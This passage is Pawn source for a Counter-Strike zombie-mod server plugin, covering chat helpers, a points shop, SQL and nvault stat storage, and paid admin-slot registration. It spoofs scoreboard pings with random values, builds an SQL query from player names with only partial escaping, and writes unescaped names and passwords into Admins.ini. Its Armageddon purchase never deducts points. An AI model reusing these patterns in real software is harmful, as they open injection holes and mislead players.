	return get_pdata_cbase ( ent, 41, 4 );
}

stock fm_set_weapon_ammo ( entity, amount )
{
	set_pdata_int ( entity, OFFSET_CLIPAMMO, amount, 4 );
}

stock fm_cs_set_user_deaths ( id, value )
{
	set_pdata_int ( id, 444, value, 5 );
}

stock fm_cs_get_user_team ( id )
{
	return get_pdata_int ( id, 114, 5 );
}

stock fm_cs_set_user_team ( id, team )
{
	set_pdata_int ( id, 114, team, 5 );
}

stock fm_cs_set_user_money ( id, value )
{
	set_pdata_int ( id, 115, value, 5 );
}

stock fm_user_team_update ( id )
{
	static Float: CurrentTime;

	CurrentTime = get_gametime (  );

	if ( CurrentTime - TeamsTargetTime >= 0.1 )
	{
		set_task ( 0.1, "fm_cs_set_user_team_msg", id + TASK_TEAM );

		TeamsTargetTime = CurrentTime + 0.1
	}
	else
	{
		set_task ( ( TeamsTargetTime + 0.1 ) - CurrentTime, "fm_cs_set_user_team_msg", id + TASK_TEAM );

		TeamsTargetTime = CurrentTime + 0.1
	}
}

public fm_cs_set_user_team_msg ( TaskIndex )
{
	SwitchingTeam = true;

	emessage_begin ( MSG_ALL, get_user_msgid ( "TeamInfo" ) );

	ewrite_byte ( ID_TEAM );

	ewrite_string ( CS_TEAM_NAMES [fm_cs_get_user_team (ID_TEAM)] );

	emessage_end (  );

	SwitchingTeam = false

	if(IsAlive[ID_TEAM] && g_vip[ID_TEAM] && containi(g_vip_flags[ID_TEAM], "S2") != -1)
	{
		message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
		write_byte(ID_TEAM)
		write_byte(4)
		message_end()
	}
}


public fm_cs_set_user_model ( TaskIndex )
{
	set_user_info ( ID_MODEL, "model", PlayerModel [ID_MODEL] );
}

stock fm_cs_get_user_model ( player, model [ ], len )
{
	get_user_info ( player, "model", model, len );
}

stock fm_set_user_godmode(index, godmode = 0)
{
	set_pev(index, pev_takedamage, godmode == 1 ? DAMAGE_NO : DAMAGE_AIM);

	return 1;
}

public fmUserModelUpdate ( TaskIndex )
{
	static Float: CurrentTime;

	CurrentTime = get_gametime (  );

	if ( CurrentTime - ModelTargetTime >= 0.2 )
	{
		fm_cs_set_user_model ( TaskIndex );

		ModelTargetTime = CurrentTime;
	}
	else
	{
		set_task ( ( ModelTargetTime + 0.2 ) - CurrentTime, "fm_cs_set_user_model", TaskIndex );

		ModelTargetTime = ModelTargetTime + 0.2;
	}
}

stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
{
	if ( id && !is_user_connected ( id ) ) return 0;

	if ( iColor > print_team_grey ) iColor = print_team_default;

	new Message [192];

	if ( iColor == print_team_default )

	Message [0] = 0x04;

	else

	Message [0] = 0x03;


	new iParams = numargs (  )

	if ( id )
	{
		if ( iParams == 3 )

		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );

		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );

			SendTeamInfo ( id, id, TeamName [iColor] );

			SendSayText ( id, id, Message );

			SendTeamInfo ( id, id, GetTeam );
		}
		else
			SendSayText ( id, id, Message );
	}
	else
	{
		new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );

		if ( !iNum ) return 0;

		new iFool = iPlayers [0];

		if ( iParams == 3 )

		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );

		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );

			SendTeamInfo ( 0, iFool, TeamName [iColor] );

			SendSayText ( 0, iFool, Message);

			SendTeamInfo ( 0, iFool, GetTeam );
		}

		else

		SendSayText ( 0, iFool, Message );
	}

	return 1;
}

stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
{
	static iTeamInfo = 0;

	if ( !iTeamInfo )

	iTeamInfo = get_user_msgid ( "TeamInfo" );

	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );

	write_byte ( iPlayerId );

	write_string ( GetTeam );

	message_end (  );
}

stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
{
	static iSayText = 0;

	if ( !iSayText )

	iSayText = get_user_msgid ( "SayText" );

	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );

	write_byte ( iPlayerId );

	write_string ( Message );

	message_end (  );
}

public GUNS(TaskIndex)
{
	static id
	(TaskIndex > MaxPlayers) ? (id = ID_SPAWN) : (id = TaskIndex);

	if (!IsAlive[id] || IsZombie[id] || IsSurvivor[id] || IsSniper[id] || IsBot[id])
	return;

	menu_display( id, g_PrimaryMenu )
}

public Fix()
{
	static i,fpf;
	if(!fpf)fpf=get_maxplayers();
	for(i=1;i<=fpf;i++)
	{
		if(is_user_connected(i))
		Data(i);
	}
}

public Calcu()
{
	static Iterator, ping,fpf;
	if(!fpf)fpf=get_maxplayers();
	for(Iterator=1;Iterator<=fpf;Iterator++ )
	{
		ping=random_num(1,46);
		for (g_Offset[Iterator][0] = 0; g_Offset[Iterator][0] < 4; g_Offset[Iterator][0]++)
		{
			if ((ping - g_Offset[Iterator][0]) % 4 == 0)
			{
				g_Argping[Iterator][0] = (ping - g_Offset[Iterator][0]) / 4;
				break;
			}
		}
		for (g_Offset[Iterator][1] = 0; g_Offset[Iterator][1] < 2; g_Offset[Iterator][1]++)
		{
			if ((ping - g_Offset[Iterator][1]) % 2 == 0){
				g_Argping[Iterator][1] = (ping - g_Offset[Iterator][1]) / 2;
				break;
			}
		}
		g_Argping[Iterator][2] = ping;
	}
}

public Data(i)
{
	static j,send,fpf;
	if(!(pev(i,pev_button)&IN_SCORE)&&!(pev(i,pev_oldbuttons)&IN_SCORE)) return;
	if(!fpf)fpf=get_maxplayers();
	send=0;
	for(j=1;j<=fpf;j++ )
	{
		if(!is_user_connected(j))continue;
		switch(send)
		{
			case 0:
			{
				message_begin(MSG_ONE_UNRELIABLE,SVC_PINGS,_,i);
				write_byte((g_Offset[j][0]*64)+(1+2*(j-1)));
				write_short(g_Argping[j][0]);
				send ++;
			}
			case 1:
			{
				write_byte((g_Offset[j][1]*128)+(2+4*(j-1)));
				write_short(g_Argping[j][1]);
				send ++;
			}
			case 2:
			{
				write_byte((4+8*(j-1)));
				write_short(g_Argping[j][2]);
				write_byte(0);
				message_end();
				send = 0;
			}
		}
	}
	if( send)
	{
		write_byte(0);
		message_end();
	}
}

loadPoints(id)
{
	g_vault = nvault_open("points");

	if (g_vault != INVALID_HANDLE)
	{
		g_iPoints[id] = nvault_get(g_vault, PlayerName[id]);
		nvault_close(g_vault);
		g_vault = INVALID_HANDLE;
	}
}

SavePoints(id)
{
	g_vault = nvault_open("points");

	if (g_vault != INVALID_HANDLE)
	{
		new str[16];
		num_to_str(g_iPoints[id], str, charsmax(str));

		nvault_set(g_vault, PlayerName[id], str);
		nvault_close(g_vault);
		g_vault = INVALID_HANDLE;
	}
}

public client_infochanged(id)
{
	if (!is_user_connected(id))return PLUGIN_CONTINUE;
	static newn[64], oldn[64]
	get_user_name(id,oldn,63)
	get_user_info(id,"name",newn,63)
	if(!equali(oldn,newn)&&strlen(newn)>0)
	{
		new vlt=nvault_open("points")
		if (vlt != INVALID_HANDLE)
		{
			g_iPoints[id]=nvault_get(vlt,newn)
			nvault_close(vlt)
			vlt=INVALID_HANDLE
		}
	}

	if ( !is_user_connected ( id ) || !get_pcvar_num ( AmxMode ) ) return PLUGIN_CONTINUE;

	new NewName [32], OldName [32];

	get_user_name ( id, OldName, charsmax ( OldName ) );

	get_user_info ( id, "name", NewName, charsmax ( NewName ) );

	if ( CaseSensitiveName [id] )
	{
		if ( !equal ( NewName, OldName ) )
		{
			accessUser ( id, NewName );
		}
	}
	else
	{
		if ( !equali ( NewName, OldName ) )
		{
			accessUser ( id, NewName );
		}
	}

	static Name[64] = { 0, ... }, queryData[32] = { 0, ... }, \
		Float:finalChange[33] = { 0.0, ... }, Float:gameTime = 0.0;

	if (is_user_connected(id) == 1 && is_user_bot(id) == 0 && is_user_hltv(id) == 0)
	{
		get_user_info(id, "name", Name, charsmax(Name));

		replace_all(Name, charsmax(Name), "`", "*");
		replace_all(Name, charsmax(Name), "'", "*");
		replace_all(Name, charsmax(Name), "\", "*");

		if (equali(Name, g_Name[id]) == 0)
		{
			resetPlayer(id);

			gameTime = get_gametime();

			if (gameTime < finalChange[id])
			{
				server_cmd("kick #%d  %s", get_user_userid(id), Name_Kick_Reason);
			}

			else
			{
				finalChange[id] = gameTime + Name_Change_Interval;

				num_to_str(id, queryData, charsmax(queryData));

				formatex(g_Name[id], charsmax(g_Name[]), "%s", Name);

				get_user_authid(id, g_Steam[id], charsmax(g_Steam[]));
				get_user_ip(id, g_Ip[id], charsmax(g_Ip[]), 1);

				/**
				* -----------------------------------------------------
				* Players
				* -----------------------------------------------------
				* Name
				* Steam
				* Ip
				* Score
				* Kills
				* Deaths
				* headShots
				* Time			- The time spent in minutes.
				* timeString	- formatted time spent
				* Seen			- get_systime() stamp
				* seenString	- get_systime() stamp formatted as time string
				* kpdRatio		- Kills/ Deaths ratio
				* kmdValue		- Kills - Deaths value
				*/
				formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, \
					Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", \
					g_Name[id]);

				SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
			}
		}
	}

	return PLUGIN_CONTINUE;
}

public plugin_end()
{
	if (g_vault != INVALID_HANDLE)
	{
		nvault_close(g_vault);
		g_vault = INVALID_HANDLE;
	}

}

public commandzm(id)
{
	static menu[ 1248 char ] , len

	len = 0
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\yShop Menu^n^n")
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r1.\w Buy Server Slot\r [%d points]\y (Recommended)^n", get_pcvar_num(cvar_bslot))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r2.\w 100 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_100ap))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r3.\w 200 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_200ap))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r4.\w 300 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_300ap))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r5.\w Armageddon Round\r [%d points]^n^n", get_pcvar_num(cvar_arnd))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r0.\w Exit" )

	set_pdata_int(id , 205, 0, 5)

	show_menu(id, KEYS_BUYMENU, menu, -1, "menu_zm")
}

public BuyMenuzm(id, key)
{
	new szName[32]
	get_user_name(id, szName, 31)

	switch(key)
	{
		case 0:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_bslot))
			{
				g_slotpass[id] = true
				slot(id)
				g_iPoints[id] -= get_pcvar_num(cvar_bslot)
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding] You don't have enough points!")
		}
		case 1:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_100ap))
			{
				AmmoPacks [id] += 100;
				g_iPoints[id] -= get_pcvar_num(cvar_100ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 100 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 100 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 100 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 2:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_200ap))
			{
				AmmoPacks [id] += 200;
				g_iPoints[id] -= get_pcvar_num(cvar_200ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 200 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 200 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 200 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 3:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_300ap))
			{
				AmmoPacks [id] += 300;
				g_iPoints[id] -= get_pcvar_num(cvar_300ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 300 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 300 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 300 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 4:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_arnd))
            {
                if (zHasRoundStarted ( ))
                {
                    client_print_color ( id, print_team_default, "%s You can't buy this item!", CHAT_PREFIX );
					g_iPoints[id] >= get_pcvar_num(cvar_arnd)
					return 1
                }
                cmdMakeZombie ( MODE_ARMAGEDDON, 0 );
                remove_task ( TASK_MAKEZOMBIE );
                remove_task ( TASK_ID );
                set_hudmessage ( 205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1 );
                ShowSyncHudMsg ( 0, HudMsgSync [0], "%s  bought Armageddon Round through points!", PlayerName [id] );
                client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Armageddon Round^1 through points!", PlayerName [id] );
                log_to_file ( "ZombieOutstanding.log", "Player %s bought Armageddon Round through points!", PlayerName [id] );
            }
		}
		default: return PLUGIN_CONTINUE
	}
	return PLUGIN_CONTINUE
}

public commandhm(id)
{
	static menu[ 2048 char ] , len

	len = 0
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\yShop Menu 1/2^n^n" )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r1.\w Double Damage\r [%d points]^n", get_pcvar_num(cvar_dmg2) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r2.\w Buy Server Slot\r [%d points]\y (Recommended)^n", get_pcvar_num(cvar_bslot) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r3.\w Buy Admin Model\r [%d points]^n", get_pcvar_num(cvar_bam) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r4.\w 100 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_100ap ))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r5.\w 200 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_200ap) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r6.\w 300 Ammo Packs\r [%d points]^n", get_pcvar_num(cvar_300ap) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r7.\w God Mode\r [%d points]^n^n", get_pcvar_num(cvar_god) )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\d8. Back^n" )
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r9.\w More^n" )
	len += formatex( menu[ len ], charsmax( menu ) - len, "\r0.\w Exit" )

	set_pdata_int(id , 205, 0, 5)

	show_menu(id, KEYS_BUYMENU, menu, -1, "menu_hm")
}

public BuyMenuhm(id, key)
{
	new szName[32]
	get_user_name(id, szName, 31)

	switch(key)
	{
		case 0:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_dmg2))
			{
				g_Damage2[id] = 1
				g_iPoints[id] -= get_pcvar_num(cvar_dmg2)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought Double Damage !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 Double Damage", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 Double Damage.")
				return 1
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 1:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_bslot))
			{
				g_slotpass[id] = true
				slot(id)
				g_iPoints[id] -= get_pcvar_num(cvar_bslot)
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 2:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_bam))
			{
				g_modelpass[id] = true
				model(id)
				g_iPoints[id] -= get_pcvar_num(cvar_bam)
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 3:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_100ap))
			{
				AmmoPacks [id] += 100;
				g_iPoints[id] -= get_pcvar_num(cvar_100ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 100 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 100 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 100 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 4:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_200ap))
			{
				AmmoPacks [id] += 200;
				g_iPoints[id] -= get_pcvar_num(cvar_200ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 200 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 200 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 200 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 5:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_300ap))
			{
				AmmoPacks [id] += 300;
				g_iPoints[id] -= get_pcvar_num(cvar_300ap)
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought 300 ammo packs !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 300 ammo packs", PlayerName [id]);
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 300 Packs.")
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 6:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_god))
			{

				g_Godmode[id] = true
				fm_set_user_godmode(id, 1)
				zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You bought^x04 God Mode.")
				set_hudmessage(212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1);
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought God Mode !!", PlayerName [id] );
				zp_colored_print(id, "^x04[Zombie Outstanding]^x03 %s^x01 bought^x04 God Mode", PlayerName [id]);
				g_iPoints[id] -= get_pcvar_num(cvar_god)
				fm_set_rendering ( id, kRenderFxGlowShell, 19,255, 255, 0)
				return 1
			}
			else zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 8: client_cmd(id, "shophm2");
		default: return PLUGIN_CONTINUE
	}
	return PLUGIN_CONTINUE
}

public command_buy2(id)
{
	static menu[ 512 char ] , len

	len = 0
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\yShop Menu 2/2^n^n")
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r1.\w Armageddon Round\r [%d points]^n^n^n^n^n^n^n^n^n", get_pcvar_num(cvar_arnd))
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\r8.\w Back^n")
	len += formatex( menu[ len ] , charsmax( menu ) - len , "\d9. More^n")
	len += formatex( menu[ len ], charsmax( menu ) - len, "\r0. \wExit" )

	set_pdata_int(id , 205, 0, 5)

	show_menu(id, KEYS_BUYMENU, menu, -1, "secondm")

}

public BuSubmenu(id, key)
{
	new szName[32]
	get_user_name(id, szName, 31)

	switch(key)
	{
		case 0:
		{
			if (g_iPoints[id] >= get_pcvar_num(cvar_arnd))
            {
                if (zHasRoundStarted ( ))
                {
                    client_print_color ( id, print_team_default, "%s You can't buy this item!", CHAT_PREFIX );
					g_iPoints[id] >= get_pcvar_num(cvar_arnd)
					return 1
                }

                cmdMakeZombie ( MODE_ARMAGEDDON, 0 );
                remove_task ( TASK_MAKEZOMBIE );
                remove_task ( TASK_ID );
                set_hudmessage ( 205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1 );
                ShowSyncHudMsg ( 0, HudMsgSync [0], "%s  bought Armageddon Round through points!", PlayerName [id] );
                client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Armageddon Round^1 through points!", PlayerName [id] );
                log_to_file ( "ZombieOutstanding.log", "Player %s bought Armageddon Round through points!", PlayerName [id] );
            }

			else

			zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You don't have enough points!")
		}
		case 7: commandhm(id);
		case 8: return PLUGIN_CONTINUE;
		default: return PLUGIN_CONTINUE;
	}
	return PLUGIN_CONTINUE
}

public slot(id)
{
	if(!is_user_connected(id)) return PLUGIN_HANDLED;

	if(get_user_flags(id) & ADMIN_RESERVATION)
	{
		zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You can't buy this item!");
		return 1
	}

	zp_colored_print(id, "^x04%s^x03 >>^x01 INTRODU PAROLA", TAG);

	new password[16];
	read_args(password, charsmax(password));
	remove_quotes(password);

	if(strlen(password) < 3 || strlen(password) > 15)
	{
		zp_colored_print(id, "^x04%s^x01 Parola^x03 INVALIDA^x01.", TAG);
		zp_colored_print(id, "^x04%s^x03 Parola trebuie sa contina intre^x01 3^x03 si^x01 15 caractere^x03.", TAG);
		zp_colored_print(id, "^x04%s^x01 Reintrodu din nou^x03 parola^x01.", TAG);

		client_cmd(id, "messagemode amx_password_for_slot");
		return PLUGIN_HANDLED;
	}

	new configsDir[64];
	get_configsdir(configsDir, charsmax(configsDir));
	format(configsDir, 63, "%s/Admins.ini", configsDir);

	new name[32];
	get_user_name(id, name, charsmax(name));

	new linetoadd[512];
	formatex(linetoadd, 511, "^r^n^"%s^" ^"%s^" ^"b^"", name, password);
	server_print("Adding: %s", linetoadd);

	if(!write_file(configsDir, linetoadd))
	console_print(id, "%s Failed writing to %s!", TAG, configsDir);

	set_user_info(id, "_pw", password);
	server_cmd("amx_reloadadmins");

	zp_colored_print(id, "^x04%s^x01 Felicitari Ai devenit SLOT (parola ta:^x04 %s^x01)", TAG, password);
	zp_colored_print(id, "^x04%s^x01 Felicitari Ai devenit SLOT (parola ta:^x04 %s^x01)", TAG, password);

	console_print(id, "");
	console_print(id, "****************************");
	console_print(id, "Done! You have now Slot access!");
	console_print(id, "Be careful, to login with your account,");
	console_print(id, "You should type in your console");
	console_print(id, "setinfo _pw ^"password^"");
	console_print(id, "We hope you enjoy you have fun!");
	console_print(id, "****************************");
	console_print(id, "");
	server_cmd("kick #%d  Check your console!", get_user_userid(id));

	return PLUGIN_CONTINUE;
}


public model(id)
{
	if(!is_user_connected(id)) return PLUGIN_HANDLED;

	if(get_user_flags(id) & ADMIN_RESERVATION)
	{
		zp_colored_print(id, "^x04[Zombie OutStanding]^x01 You can't buy this item!");
		return 1
	}

	zp_colored_print(id, "^x04%s^x03 >>^x01 INTRODU PAROLA", TAG);

	new password[16];
	read_args(password, charsmax(password));
	remove_quotes(password);

	if(strlen(password) < 3 || strlen(password) > 15)
	{
		zp_colored_print(id, "^x04%s^x01 Parola^x03 INVALIDA^x01.", TAG);
		zp_colored_print(id, "^x04%s^x03 Parola trebuie sa contina intre^x01 3^x03 si^x01 15 caractere^x03.", TAG);
		zp_colored_print(id, "^x04%s^x01 Reintrodu din nou^x03 parola^x01.", TAG);

		client_cmd(id, "messagemode amx_password_for_model");
		return PLUGIN_HANDLED;
	}

	new configsDir[64];
	get_configsdir(configsDir, charsmax(configsDir));
	format(configsDir, 63, "%s/Admins.ini", configsDir);

	new name[32];
	get_user_name(id, name, charsmax(name));

	new linetoadd[512];
	formatex(linetoadd, 511, "^r^n^"%s^" ^"%s^" ^"b^"", name, password);
	server_print("Adding: %s", linetoadd);

	if(!write_file(configsDir, linetoadd))
	console_print(id, "%s Failed writing to %s!", TAG, configsDir);

	set_user_info(id, "_pw", password);
	server_cmd("amx_reloadadmins");

	zp_colored_print(id, "^x04%s^x01 Felicitari Ai Admin Model (parola ta:^x04 %s^x01)", TAG, password);
	zp_colored_print(id, "^x04%s^x01 Felicitari Ai Admin Model (parola ta:^x04 %s^x01)", TAG, password);

	console_print(id, "");
	console_print(id, "****************************");
	console_print(id, "Done! You have now admin models access!");
	console_print(id, "Be careful, to login with your account,");
	console_print(id, "You should type in your console");
	console_print(id, "setinfo _pw ^"password^"");
	console_print(id, "We hope you enjoy you have fun!");
	console_print(id, "****************************");
	console_print(id, "");
	server_cmd("kick #%d  Check your console!", get_user_userid(id));

	return PLUGIN_CONTINUE;
}

zp_colored_print(target, const message[], any:...)
{
	static buffer[512], i, argscount
	argscount = numargs()

	if (!target)
	{
		static player
		for (player = 1; player <= MaxPlayers; player++)
		{
			if (!is_user_connected(player))
				continue;

			static changed[5], changedcount
			changedcount = 0

			for (i = 2; i < argscount; i++)
			{
				if (getarg(i) == LANG_PLAYER)
				{
					setarg(i, 0, player)
					changed[changedcount] = i
					changedcount++
				}
			}

			vformat(buffer, charsmax(buffer), message, 3)

			message_begin(MSG_ONE_UNRELIABLE, g_msgSayText, _, player)
			write_byte(player)
			write_string(buffer)
			message_end()

			for (i = 0; i < changedcount; i++)
				setarg(changed[i], 0, LANG_PLAYER)
		}
	}

	else

	{
		vformat(buffer, charsmax(buffer), message, 3)

		message_begin(MSG_ONE, g_msgSayText, _, target)
		write_byte(target)
		write_string(buffer)
		message_end()
	}
}

stock bool:is_hull_vacant(const Float:origin[3], hull,id)
{
    static tr
    engfunc(EngFunc_TraceHull, origin, origin, 0, hull, id, tr)
    if (!get_tr2(tr, TR_StartSolid) || !get_tr2(tr, TR_AllSolid))
    return true
    return false
}

stock is_player_stuck ( id )
{
	static Float:origin [3];

	pev ( id, pev_origin, origin );

	engfunc ( EngFunc_TraceHull, origin, origin, 0, ( pev ( id, pev_flags ) & FL_DUCKING ) ? HULL_HEAD : HULL_HUMAN, id, 0 );

	if ( get_tr2 ( 0, TR_StartSolid ) || get_tr2 ( 0, TR_AllSolid ) || !get_tr2 ( 0, TR_InOpen ) )

	return true;

	return false;
}


public remove_ds(id)
{
	if(has_item[id] || using_item[id])
	{
		has_item[id] = false
		using_item[id] = false

		if(task_exists(id+TASK_HUD)) remove_task(id+TASK_HUD)
		if(task_exists(id+TASK_REMOVE2)) remove_task(id+TASK_REMOVE2)
	}
}

public remove_headshot_mode(id)
{
	id -= TASK_REMOVE2

	has_item[id] = false
	using_item[id] = false

	if(task_exists(id+TASK_HUD)) remove_task(id+TASK_HUD)
}

public RE()
{
	new flags
	for(new i = 1; i <= get_maxplayers(); i++)
	{
		if (is_user_connected(i) && g_bFrozen[i])
		{
			g_bFrozen[i]=false
			flags=pev(i,pev_flags)
			if (flags&FL_FROZEN)
				flags&=~FL_FROZEN, set_pev(i,pev_flags,flags)
			removefrendering(i)
		}
	}
}

removefrendering(i)
{
	static Float:vec[3], Float:amt
	entity_get_vector(i,EV_VEC_rendercolor,vec)
	amt=entity_get_float(i,EV_FL_renderamt)

	if (vec[0]==0.0 && vec[1]==90.0 && vec[2]==128.0&&amt==30.0)
	fm_set_rendering(i)
}

public TaskHudMessages (  )
{
	static i, Msg [512];

	for ( i = 1; i <= get_maxplayers (  ); i ++ )
	{
		if ( is_user_connected ( i ) && !is_user_bot ( i ) )
		{
			set_hudmessage ( random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.0, 0.20,  2, 0.5, 8.0, 0.05, 0.05, -1 );

			ArrayGetString ( GetMessages, random_num ( 0,ArraySize ( GetMessages ) -1 ), Msg, 511 );

			ShowSyncHudMsg ( i, Handler, Msg );
		}
	}
}

public cmdWho ( id )
{
	new Players [32], Num, iPlayers, Name [32], StringFlags [27];

	get_players ( Players, Num );

	for ( new i = 0; i < Num ; i ++ )
	{
		iPlayers = Players [i];

		get_user_name ( iPlayers, Name, charsmax ( Name ) );

		GetUserFlagsString ( iPlayers, StringFlags, charsmax ( StringFlags ) );

		if ( is_user_admin ( iPlayers ) || PlayerHasTag [iPlayers] )

			console_print ( id, "* %s%s%s%s%s", Name, PlayerHasTag [iPlayers] ? " - " : "", PlayerHasTag [iPlayers] ? PlayerTag [iPlayers] : "", is_user_admin ( iPlayers ) ? " - " : "", is_user_admin ( iPlayers ) ? StringFlags : "" );
	}

	return PLUGIN_HANDLED;
}

GetUserFlagsString ( id, Flags [ ], Len ) return get_flags ( get_user_flags ( id ), Flags, Len );

public fwClientInfoChanged ( id, Buffer )
{
